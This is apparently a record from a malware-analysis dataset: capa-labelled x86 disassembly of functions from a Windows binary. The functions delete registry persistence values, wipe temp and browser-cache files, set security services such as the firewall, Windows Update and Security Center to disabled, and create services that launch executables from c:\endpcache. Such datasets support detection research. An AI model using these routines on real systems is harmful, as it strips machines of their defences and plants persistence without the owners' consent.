joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c8a50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc590
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x290
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push eax
lea ecx, [ebp - 0x29c]
push str.SYSTEMCurrentControlSetServices_s
push ecx
mov dword [ebp - 4], 0
call fcn.004f175f
push 0x100
mov dword [ebp - 0x1c], 0xffffffff
mov byte [ebp - 4], 1
call fcn.004f266a
mov ebx, eax
mov edi, 0x528484
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
lea edx, [ebp - 0x19c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp + 8], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x29c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [ebp - 0x18], 0x100
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
push ecx
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4c8c1d
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 8]
push ebx
push ecx
push 0
push str.Group
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4c8b46
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x19c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x9c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 8]
push edx
push eax
push 0
push str.Start
push ecx
mov dword [ebp + 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4c8b7f
mov edi, dword [ebp - 0x9c]
and edi, 0xff
jmp 0x4c8b82
mov edi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004f265f
add esp, 4
xor ebx, ebx
xor esi, esi
cmp esi, 0xa
jge 0x4c8bc4
mov eax, esi
lea ecx, [ebp - 0x19c]
shl eax, 6
add eax, str.Base
push eax
push ecx
call fcn.004f61e0
add esp, 8
test eax, eax
jne 0x4c8bc1
mov ebx, 1
inc esi
jmp 0x4c8b99
test edi, edi
jne 0x4c8bdb
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 1
jne 0x4c8bf6
mov eax, 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
dec eax
neg eax
sbb eax, eax
and al, 0xfe
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
or eax, 0xffffffff
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c8c40
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc5a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x14]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push str.SOFTWAREMicrosoftCommand_Processor
push closesocket
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4c8ccb
mov edx, dword [ebp - 0x14]
push str.Autorun
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4c8ccb
push str.defeat..........
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c8d10
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x8c
lea eax, [esp]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.SYSTEMCurrentControlSetServicesPcmcia
push closesocket
mov dword [esp + 0x20], 4
mov dword [esp + 0x1c], 0x80
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push esi
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4c8d7d
mov eax, dword [esp + 0x10]
and eax, 0xff
je 0x4c8d78
cmp eax, 1
jne 0x4c8d7d
mov esi, 1
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp esi, 1
sete al
pop esi
add esp, 0x8c
ret
Function at 0x4c8da0
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc5b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x8748
call fcn.004f2630
push ebx
push esi
push edi
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x358]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], esp
push eax
lea ecx, [ebp - 0x358]
xor ebx, ebx
push str._sLocal_SettingsTemporary_Internet_FilesContent.IE5_
push ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call fcn.004f175f
add esp, 0xc
lea edx, [ebp - 0x358]
mov ecx, 0xf558a0
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea eax, [ebp + 8]
lea ecx, [ebp - 0x8758]
push eax
lea edx, [ebp - 0x358]
push ecx
push edx
mov dword [ebp + 8], ebx
mov dword [ebp - 0x18], 0x80
call fcn.004b6b70
mov edx, dword [ebp + 8]
lea edi, [ebp - 0x358]
mov eax, edx
or ecx, 0xffffffff
shl eax, 8
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
lea esi, [ebp + eax - 0x8758]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp + 8], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + 8], edx
xor edi, edi
cmp edi, dword [ebp + 8]
jge 0x4c8f7e
mov ecx, edi
lea eax, [ebp - 0x758]
shl ecx, 8
lea edx, [ebp + ecx - 0x8758]
push edx
push str._s.
push eax
call fcn.004f175f
add esp, 0xc
lea ecx, [ebp - 0x158]
lea edx, [ebp - 0x758]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4c8f75
test byte [ebp - 0x158], 0x10
jne 0x4c8f4b
cmp byte [ebp - 0x12c], 0x2e
je 0x4c8f4b
mov ecx, edi
lea eax, [ebp - 0x12c]
shl ecx, 8
push eax
lea eax, [ebp - 0x558]
lea edx, [ebp + ecx - 0x8758]
push edx
push str._s_s
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [ebp - 0x558]
push ecx
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x558]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x558]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x158]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c8f63
push esi
call ebx
or esi, 0xffffffff
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, 0x3e8
mov dword [ebp - 0x14], eax
jle 0x4c8ec4
push esi
call ebx
inc edi
jmp 0x4c8e84
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c8fb0
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc5c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x744
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push str.Fclean_filename_user_temp....................................................
mov ecx, 0xf558a0
mov dword [ebp - 4], ebx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x350]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x350]
push eax
push str._sLocal_SettingsTemp
push ecx
call fcn.004f175f
lea edx, [ebp - 0x350]
lea eax, [ebp - 0x750]
push edx
push str._s.
push eax
mov edi, 0x80
call fcn.004f175f
add esp, 0x18
lea ecx, [ebp - 0x150]
lea edx, [ebp - 0x750]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4c90fe
test byte [ebp - 0x150], 0x10
jne 0x4c90d5
cmp byte [ebp - 0x124], 0x2e
je 0x4c90d5
lea eax, [ebp - 0x124]
lea ecx, [ebp - 0x350]
push eax
push ecx
lea edx, [ebp - 0x550]
push str._s_s
push edx
call fcn.004f175f
add esp, 0x10
lea eax, [ebp - 0x550]
mov ecx, 0xf558a0
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea ecx, [ebp - 0x550]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x550]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x150]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c90f1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
inc ebx
cmp ebx, 0x3e8
jle 0x4c9057
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c9140
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc5d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x820c
call fcn.004f2630
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push str.begin_Fclean_Content_IE5....
mov ecx, 0xf558a0
mov dword [ebp - 4], ebx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x118]
push str.:Documents_and_Settings_
push ecx
lea edx, [ebp - 0x21c]
push 0x50e0ec
push edx
mov byte [ebp - 0x117], bl
mov byte [ebp - 0x21c], bl
call fcn.004f175f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x821c]
push eax
lea edx, [ebp - 0x21c]
push ecx
push edx
mov dword [ebp - 0x14], ebx
call fcn.004b6b70
add esp, 0x1c
mov ecx, 0xf558a0
push str.Length::
call fcn.004f0087
mov ecx, dword [ebp - 0x14]
push ecx
mov ecx, eax
call fcn.004f0458
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
xor edi, edi
cmp edi, dword [ebp - 0x14]
jge 0x4c9241
mov edx, edi
shl edx, 8
lea esi, [ebp + edx - 0x821c]
push esi
call fcn.004c8da0
add esp, 4
push esi
call fcn.004c8fb0
add esp, 4
inc edi
jmp 0x4c921b
push str.end_Fclean_Content_IE5....
mov ecx, 0xf558a0
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c92a0
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
sub esp, 0x840
lea eax, [esp + 0x140]
push ebx
push ebp
push esi
push edi
push 0x80
push eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x150]
lea edx, [esp + 0x650]
push ecx
push str._s_temp
push edx
call fcn.004f175f
lea eax, [esp + 0x15c]
lea ecx, [esp + 0x45c]
push eax
push str._s_temp.tmp
push ecx
call fcn.004f175f
add esp, 0x18
lea edx, [esp + 0x10]
lea eax, [esp + 0x450]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4c938d
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
test byte [esp + 0x10], 0x10
jne 0x4c9365
cmp byte [esp + 0x3c], 0x2e
je 0x4c9365
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x650]
push ecx
push edx
lea eax, [esp + 0x258]
push str._s_s
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [esp + 0x250]
push 0x80
push ecx
call edi
lea edx, [esp + 0x250]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4c937f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
or esi, 0xffffffff
inc ebx
cmp ebx, 0x3e8
jg 0x4c938d
cmp esi, 0xffffffff
jne 0x4c931c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov ax, 1
pop ebx
add esp, 0x840
ret
Function at 0x4c93b0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc5e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push 0x100
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], 1
call fcn.004f266a
add esp, 4
mov edi, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], edi
push eax
push 0x20019
push esi
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push closesocket
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4c9519
mov edx, dword [ebp - 0x18]
push 0
push 0
push 0
lea ecx, [ebp - 0x24]
push 0
push ecx
push edi
push esi
push edx
mov dword [ebp - 0x24], 0x80
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebx, eax
cmp ebx, 0x103
je 0x4c9509
push edi
lea eax, [ebp - 0x128]
push 0x50d39c
push eax
mov byte [ebp - 0x128], 0
call fcn.004f175f
lea edi, [ebp - 0x128]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x4c94e3
mov edi, dword [ebp - 0x20]
cmp edi, 1
jne 0x4c948d
lea ecx, [ebp - 0x128]
push str.000000000001
push ecx
jmp 0x4c94b1
cmp edi, 2
jne 0x4c94a0
lea edx, [ebp - 0x128]
push str.000000000002
push edx
jmp 0x4c94b1
cmp edi, 3
jne 0x4c94bf
lea eax, [ebp - 0x128]
push str.000000000003
push eax
call fcn.004f61e0
add esp, 8
test eax, eax
je 0x4c94df
jmp 0x4c94dc
cmp edi, 4
jne 0x4c94df
lea ecx, [ebp - 0x128]
push str.000000000004
push ecx
call fcn.004f61e0
add esp, 8
test eax, eax
je 0x4c94df
inc dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x1c]
inc eax
cmp eax, 0xff
mov dword [ebp - 0x1c], eax
jle 0x4c9506
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x28]
inc esi
cmp ebx, 0x103
jne 0x4c941a
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
setle al
dec eax
and eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c9560
Capabilities:
Modify service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x190
push str.SharedAccess
call fcn.004fa6c0
push eax
lea eax, [esp + 0x98]
push str.SYSTEMCurrentControlSetServices_s
push eax
call fcn.004f175f
add esp, 0x10
lea ecx, [esp]
lea edx, [esp + 0x90]
push ecx
push 0xf003f
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4c9613
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push ecx
push edx
push 0
push str.Start
push eax
mov dword [esp + 0x1c], 4
mov dword [esp + 0x24], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4c95e5
cmp byte [esp + 0x10], 4
jne 0x4c9613
mov edx, dword [esp]
lea ecx, [esp + 8]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [esp + 0x20], 4
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.SharedAccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4c9673
push ebp
push 0
push 0
push 0
mov ebp, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call ebp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call ebp
pop ebp
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x4c9690
Capabilities:
Delete registry value
Persist via appinit_dlls registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x20c
push esi
lea eax, [esp + 4]
push edi
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push closesocket
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4c974b
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push str.AppInit_Dlls
push ecx
mov dword [esp + 0x24], 0x1f4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4c9727
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [esp + 8]
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x218]
push str.AppInit_DLLs
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4c9772
mov edi, 0x50e258
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x218]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x4c976d
mov edi, 0x50e258
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x218]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x20c
ret
Function at 0x4c9b00
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 8]
push edi
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push closesocket
mov dword [esp + 0x24], 4
call esi
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.Start
push edx
call edi
mov eax, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], 4
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServiceswscsvc
push closesocket
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push 0
push str.Start
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret

Function at 0x4c9ba0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 8]
push edi
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServices_fileSecurity
push closesocket
mov dword [esp + 0x24], 2
call esi
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.Start
push edx
call edi
mov eax, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], 2
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServices_regSecurity
push closesocket
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push 0
push str.Start
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call ebx
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret

Function at 0x4c9c40
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
mov dword [esp + 4], 2
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret
Function at 0x4ca8f0
Capabilities:
Start service

Disassembly:
push esi
push edi
push 0x10
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0xc]
push 0x10
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4ca91f
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov eax, 1
pop esi
ret

Function at 0x4ca9a0
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x100
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov edi, str.c:endpcache_fileSecurity.exe
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0xc], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push 0
push 2
push 0x10
push 0xf01ff
push str.fileSecurity
push str.fileSecurity
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
add esp, 0x100
ret

Function at 0x4caa30
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x100
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov edi, str.c:endpcache_regSecurity.exe
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0xc], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push 0
push 2
push 0x10
push 0xf01ff
push str.regSecurity
push str.regSecurity
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
add esp, 0x100
ret
Function at 0x4cd530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc6e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x184
push ebx
push esi
push edi
lea eax, [ebp - 0x90]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x80
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x190]
push ecx
push str._suxtheme.dll
push edx
call fcn.004f175f
lea eax, [ebp - 0x190]
push eax
call fcn.004bd090
add esp, 0x10
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x190]
mov byte [ebp - 0x190], bl
push ecx
push str._susp10.dll
push edx
call fcn.004f175f
lea eax, [ebp - 0x190]
push eax
call fcn.004bd090
add esp, 0x10
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4cd5f0
Capabilities:
Delete registry value
Persist via ginadll registry key

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4cd631
mov edx, dword [esp]
push str.GinaDLL
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, 1
add esp, 8
ret